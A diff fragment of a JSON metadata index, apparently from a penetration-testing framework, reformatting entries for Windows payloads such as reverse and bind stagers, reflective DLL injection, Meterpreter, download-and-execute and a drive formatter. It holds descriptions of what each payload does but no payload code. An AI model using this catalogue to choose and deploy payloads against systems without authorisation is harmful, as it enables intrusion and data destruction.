"aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -251591,8 +223672,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -251603,9 +223683,7 @@ "payload_windows/custom/bind_ipv6_tcp": { "name": "Windows shellcode stage, Bind IPv6 TCP Stager (Windows x86)", "fullname": "payload/windows/custom/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -251616,9 +223694,7 @@ "sf " ], "description": "Custom shellcode stage.\n\nListen for an IPv6 connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -251632,8 +223708,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -251644,9 +223719,7 @@ "payload_windows/custom/bind_ipv6_tcp_uuid": { "name": "Windows shellcode stage, Bind IPv6 TCP Stager with UUID Support (Windows x86)", "fullname": "payload/windows/custom/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -251658,9 +223731,7 @@ "OJ Reeves" ], "description": "Custom shellcode stage.\n\nListen for an IPv6 connection with UUID Support (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -251674,8 +223745,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -251686,9 +223756,7 @@ "payload_windows/custom/bind_named_pipe": { "name": "Windows shellcode stage, Windows x86 Bind Named Pipe Stager", "fullname": "payload/windows/custom/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -251697,9 +223765,7 @@ "UserExistsError" ], "description": "Custom shellcode stage.\n\nListen for a pipe connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -251713,8 +223779,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -251725,9 +223790,7 @@ "payload_windows/custom/bind_nonx_tcp": { "name": "Windows shellcode stage, Bind TCP Stager (No NX or Win7)", "fullname": "payload/windows/custom/bind_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -251736,9 +223799,7 @@ "vlad902 " ], "description": "Custom shellcode stage.\n\nListen for a connection (No NX)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -251752,8 +223813,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -251764,9 +223824,7 @@ "payload_windows/custom/bind_tcp": { "name": "Windows shellcode stage, Bind TCP Stager (Windows x86)", "fullname": "payload/windows/custom/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -251777,9 +223835,7 @@ "sf " ], "description": "Custom shellcode stage.\n\nListen for a connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -251793,8 +223849,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -251805,9 +223860,7 @@ "payload_windows/custom/bind_tcp_rc4": { "name": "Windows shellcode stage, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/windows/custom/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -251820,9 +223873,7 @@ "RageLtMan" ], "description": "Custom shellcode stage.\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -251836,8 +223887,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -251848,9 +223898,7 @@ "payload_windows/custom/bind_tcp_uuid": { "name": "Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x86)", "fullname": "payload/windows/custom/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -251860,9 +223908,7 @@ "OJ Reeves" ], "description": "Custom shellcode stage.\n\nListen for a connection with UUID Support (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -251876,8 +223922,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -251888,9 +223933,7 @@ "payload_windows/custom/find_tag": { "name": "Windows shellcode stage, Find Tag Ordinal Stager", "fullname": "payload/windows/custom/find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -251899,9 +223942,7 @@ "skape " ], "description": "Custom shellcode stage.\n\nUse an established connection", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -251915,8 +223956,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -251927,9 +223967,7 @@ "payload_windows/custom/reverse_http": { "name": "Windows shellcode stage, Windows Reverse HTTP Stager (wininet)", "fullname": "payload/windows/custom/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -251938,9 +223976,7 @@ "hdm " ], "description": "Custom shellcode stage.\n\nTunnel communication over HTTP (Windows wininet)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -251954,8 +223990,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -251966,9 +224001,7 @@ "payload_windows/custom/reverse_http_proxy_pstore": { "name": "Windows shellcode stage, Reverse HTTP Stager Proxy", "fullname": "payload/windows/custom/reverse_http_proxy_pstore", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -251977,9 +224010,7 @@ "hdm " ], "description": "Custom shellcode stage.\n\nTunnel communication over HTTP", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -251993,8 +224024,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -252005,9 +224035,7 @@ "payload_windows/custom/reverse_https": { "name": "Windows shellcode stage, Windows Reverse HTTPS Stager (wininet)", "fullname": "payload/windows/custom/reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -252016,9 +224044,7 @@ "hdm " ], "description": "Custom shellcode stage.\n\nTunnel communication over HTTPS (Windows wininet)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -252032,8 +224058,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -252044,9 +224069,7 @@ "payload_windows/custom/reverse_ipv6_tcp": { "name": "Windows shellcode stage, Reverse TCP Stager (IPv6)", "fullname": "payload/windows/custom/reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -252057,9 +224080,7 @@ "sf " ], "description": "Custom shellcode stage.\n\nConnect back to the attacker over IPv6", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -252073,8 +224094,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -252085,9 +224105,7 @@ "payload_windows/custom/reverse_named_pipe": { "name": "Windows shellcode stage, Windows x86 Reverse Named Pipe (SMB) Stager", "fullname": "payload/windows/custom/reverse_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -252096,9 +224114,7 @@ "OJ Reeves" ], "description": "Custom shellcode stage.\n\nConnect back to the attacker via a named pipe pivot", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -252112,8 +224128,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -252124,9 +224139,7 @@ "payload_windows/custom/reverse_nonx_tcp": { "name": "Windows shellcode stage, Reverse TCP Stager (No NX or Win7)", "fullname": "payload/windows/custom/reverse_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -252135,9 +224148,7 @@ "vlad902 " ], "description": "Custom shellcode stage.\n\nConnect back to the attacker (No NX)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -252151,8 +224162,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -252163,9 +224173,7 @@ "payload_windows/custom/reverse_ord_tcp": { "name": "Windows shellcode stage, Reverse Ordinal TCP Stager (No NX or Win7)", "fullname": "payload/windows/custom/reverse_ord_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -252174,9 +224182,7 @@ "spoonm " ], "description": "Custom shellcode stage.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -252190,8 +224196,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -252202,9 +224207,7 @@ "payload_windows/custom/reverse_tcp": { "name": "Windows shellcode stage, Reverse TCP Stager", "fullname": "payload/windows/custom/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -252215,9 +224218,7 @@ "sf " ], "description": "Custom shellcode stage.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -252231,8 +224232,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -252243,9 +224243,7 @@ "payload_windows/custom/reverse_tcp_allports": { "name": "Windows shellcode stage, Reverse All-Port TCP Stager", "fullname": "payload/windows/custom/reverse_tcp_allports", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -252256,9 +224254,7 @@ "sf " ], "description": "Custom shellcode stage.\n\nTry to connect back to the attacker, on all possible ports (1-65535, slowly)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -252272,8 +224268,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -252284,9 +224279,7 @@ "payload_windows/custom/reverse_tcp_dns": { "name": "Windows shellcode stage, Reverse TCP Stager (DNS)", "fullname": "payload/windows/custom/reverse_tcp_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -252298,9 +224291,7 @@ "RageLtMan" ], "description": "Custom shellcode stage.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -252314,8 +224305,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -252326,9 +224316,7 @@ "payload_windows/custom/reverse_tcp_rc4": { "name": "Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/windows/custom/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -252341,9 +224329,7 @@ "RageLtMan" ], "description": "Custom shellcode stage.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -252357,8 +224343,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -252369,9 +224354,7 @@ "payload_windows/custom/reverse_tcp_rc4_dns": { "name": "Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", "fullname": "payload/windows/custom/reverse_tcp_rc4_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -252384,9 +224367,7 @@ "RageLtMan" ], "description": "Custom shellcode stage.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -252400,8 +224381,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -252412,9 +224392,7 @@ "payload_windows/custom/reverse_tcp_uuid": { "name": "Windows shellcode stage, Reverse TCP Stager with UUID Support", "fullname": "payload/windows/custom/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -252424,9 +224402,7 @@ "OJ Reeves" ], "description": "Custom shellcode stage.\n\nConnect back to the attacker with UUID Support", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -252440,8 +224416,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -252452,9 +224427,7 @@ "payload_windows/custom/reverse_udp": { "name": "Windows shellcode stage, Reverse UDP Stager with UUID Support", "fullname": "payload/windows/custom/reverse_udp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -252463,9 +224436,7 @@ "RageLtMan " ], "description": "Custom shellcode stage.\n\nConnect back to the attacker with UUID Support", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -252479,8 +224450,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -252491,9 +224461,7 @@ "payload_windows/custom/reverse_winhttp": { "name": "Windows shellcode stage, Windows Reverse HTTP Stager (winhttp)", "fullname": "payload/windows/custom/reverse_winhttp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -252503,9 +224471,7 @@ "Borja Merino " ], "description": "Custom shellcode stage.\n\nTunnel communication over HTTP (Windows winhttp)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -252519,8 +224485,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -252531,9 +224496,7 @@ "payload_windows/custom/reverse_winhttps": { "name": "Windows shellcode stage, Windows Reverse HTTPS Stager (winhttp)", "fullname": "payload/windows/custom/reverse_winhttps", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -252543,9 +224506,7 @@ "Borja Merino " ], "description": "Custom shellcode stage.\n\nTunnel communication over HTTPS (Windows winhttp)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -252559,8 +224520,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -252571,9 +224531,7 @@ "payload_windows/dllinject/bind_hidden_ipknock_tcp": { "name": "Reflective DLL Injection, Hidden Bind Ipknock TCP Stager", "fullname": "payload/windows/dllinject/bind_hidden_ipknock_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -252602,8 +224560,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -252614,9 +224571,7 @@ "payload_windows/dllinject/bind_hidden_tcp": { "name": "Reflective DLL Injection, Hidden Bind TCP Stager", "fullname": "payload/windows/dllinject/bind_hidden_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -252645,8 +224600,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -252657,9 +224611,7 @@ "payload_windows/dllinject/bind_ipv6_tcp": { "name": "Reflective DLL Injection, Bind IPv6 TCP Stager (Windows x86)", "fullname": "payload/windows/dllinject/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -252686,8 +224638,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -252698,9 +224649,7 @@ "payload_windows/dllinject/bind_ipv6_tcp_uuid": { "name": "Reflective DLL Injection, Bind IPv6 TCP Stager with UUID Support (Windows x86)", "fullname": "payload/windows/dllinject/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -252728,8 +224677,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -252740,9 +224688,7 @@ "payload_windows/dllinject/bind_named_pipe": { "name": "Reflective DLL Injection, Windows x86 Bind Named Pipe Stager", "fullname": "payload/windows/dllinject/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -252768,8 +224714,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -252780,9 +224725,7 @@ "payload_windows/dllinject/bind_nonx_tcp": { "name": "Reflective DLL Injection, Bind TCP Stager (No NX or Win7)", "fullname": "payload/windows/dllinject/bind_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -252808,8 +224751,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -252820,9 +224762,7 @@ "payload_windows/dllinject/bind_tcp": { "name": "Reflective DLL Injection, Bind TCP Stager (Windows x86)", "fullname": "payload/windows/dllinject/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -252849,8 +224789,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -252861,9 +224800,7 @@ "payload_windows/dllinject/bind_tcp_rc4": { "name": "Reflective DLL Injection, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/windows/dllinject/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -252892,8 +224829,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -252904,9 +224840,7 @@ "payload_windows/dllinject/bind_tcp_uuid": { "name": "Reflective DLL Injection, Bind TCP Stager with UUID Support (Windows x86)", "fullname": "payload/windows/dllinject/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -252933,8 +224867,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -252945,9 +224878,7 @@ "payload_windows/dllinject/find_tag": { "name": "Reflective DLL Injection, Find Tag Ordinal Stager", "fullname": "payload/windows/dllinject/find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -252973,8 +224904,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -252985,9 +224915,7 @@ "payload_windows/dllinject/reverse_http": { "name": "Reflective DLL Injection, Windows Reverse HTTP Stager (wininet)", "fullname": "payload/windows/dllinject/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -253013,8 +224941,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -253025,9 +224952,7 @@ "payload_windows/dllinject/reverse_http_proxy_pstore": { "name": "Reflective DLL Injection, Reverse HTTP Stager Proxy", "fullname": "payload/windows/dllinject/reverse_http_proxy_pstore", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -253053,8 +224978,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -253065,9 +224989,7 @@ "payload_windows/dllinject/reverse_ipv6_tcp": { "name": "Reflective DLL Injection, Reverse TCP Stager (IPv6)", "fullname": "payload/windows/dllinject/reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -253094,8 +225016,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -253106,9 +225027,7 @@ "payload_windows/dllinject/reverse_nonx_tcp": { "name": "Reflective DLL Injection, Reverse TCP Stager (No NX or Win7)", "fullname": "payload/windows/dllinject/reverse_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -253134,8 +225053,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -253146,9 +225064,7 @@ "payload_windows/dllinject/reverse_ord_tcp": { "name": "Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7)", "fullname": "payload/windows/dllinject/reverse_ord_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -253174,8 +225090,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -253186,9 +225101,7 @@ "payload_windows/dllinject/reverse_tcp": { "name": "Reflective DLL Injection, Reverse TCP Stager", "fullname": "payload/windows/dllinject/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -253215,8 +225128,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -253227,9 +225139,7 @@ "payload_windows/dllinject/reverse_tcp_allports": { "name": "Reflective DLL Injection, Reverse All-Port TCP Stager", "fullname": "payload/windows/dllinject/reverse_tcp_allports", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -253256,8 +225166,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -253268,9 +225177,7 @@ "payload_windows/dllinject/reverse_tcp_dns": { "name": "Reflective DLL Injection, Reverse TCP Stager (DNS)", "fullname": "payload/windows/dllinject/reverse_tcp_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -253298,8 +225205,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -253310,9 +225216,7 @@ "payload_windows/dllinject/reverse_tcp_rc4": { "name": "Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/windows/dllinject/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -253341,8 +225245,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -253353,9 +225256,7 @@ "payload_windows/dllinject/reverse_tcp_rc4_dns": { "name": "Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", "fullname": "payload/windows/dllinject/reverse_tcp_rc4_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -253384,8 +225285,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -253396,9 +225296,7 @@ "payload_windows/dllinject/reverse_tcp_uuid": { "name": "Reflective DLL Injection, Reverse TCP Stager with UUID Support", "fullname": "payload/windows/dllinject/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -253425,8 +225323,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -253437,9 +225334,7 @@ "payload_windows/dllinject/reverse_winhttp": { "name": "Reflective DLL Injection, Windows Reverse HTTP Stager (winhttp)", "fullname": "payload/windows/dllinject/reverse_winhttp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -253466,8 +225361,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -253478,9 +225372,7 @@ "payload_windows/dns_txt_query_exec": { "name": "DNS TXT Record Payload Download and Execution", "fullname": "payload/windows/dns_txt_query_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -253488,9 +225380,7 @@ "corelanc0d3r " ], "description": "Performs a TXT query against a series of DNS record(s) and executes the returned x86 shellcode. The DNSZONE\n option is used as the base name to iterate over. The payload will first request the TXT contents of the a\n hostname, followed by b, then c, etc. until there are no more records. For each record that is returned, exactly\n 255 bytes from it are copied into a buffer that is eventually executed. This buffer should be encoded using\n x86/alpha_mixed with the BufferRegister option set to EDI.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -253504,8 +225394,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -253514,9 +225403,7 @@ "payload_windows/download_exec": { "name": "Windows Executable Download (http,https,ftp) and Execute", "fullname": "payload/windows/download_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -253524,9 +225411,7 @@ "corelanc0d3r " ], "description": "Download an EXE from an HTTP(S)/FTP URL and execute it", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -253540,8 +225425,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -253550,9 +225434,7 @@ "payload_windows/exec": { "name": "Windows Execute Command", "fullname": "payload/windows/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -253561,9 +225443,7 @@ "sf " ], "description": "Execute an arbitrary command", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -253577,8 +225457,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -253587,9 +225466,7 @@ "payload_windows/format_all_drives": { "name": "Windows Drive Formatter", "fullname": "payload/windows/format_all_drives", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": null, "type": "payload", @@ -253628,9 +225505,7 @@ "payload_windows/loadlibrary": { "name": "Windows LoadLibrary Path", "fullname": "payload/windows/loadlibrary", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -253639,9 +225514,7 @@ "hdm " ], "description": "Load an arbitrary library path", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -253655,8 +225528,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -253665,9 +225537,7 @@ "payload_windows/messagebox": { "name": "Windows MessageBox", "fullname": "payload/windows/messagebox", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -253676,9 +225546,7 @@ "jduck " ], "description": "Spawns a dialog via MessageBox using a customizable title, text & icon", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -253692,8 +225560,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -253702,9 +225569,7 @@ "payload_windows/meterpreter/bind_hidden_ipknock_tcp": { "name": "Windows Meterpreter (Reflective Injection), Hidden Bind Ipknock TCP Stager", "fullname": "payload/windows/meterpreter/bind_hidden_ipknock_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -253734,8 +225599,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -253746,9 +225610,7 @@ 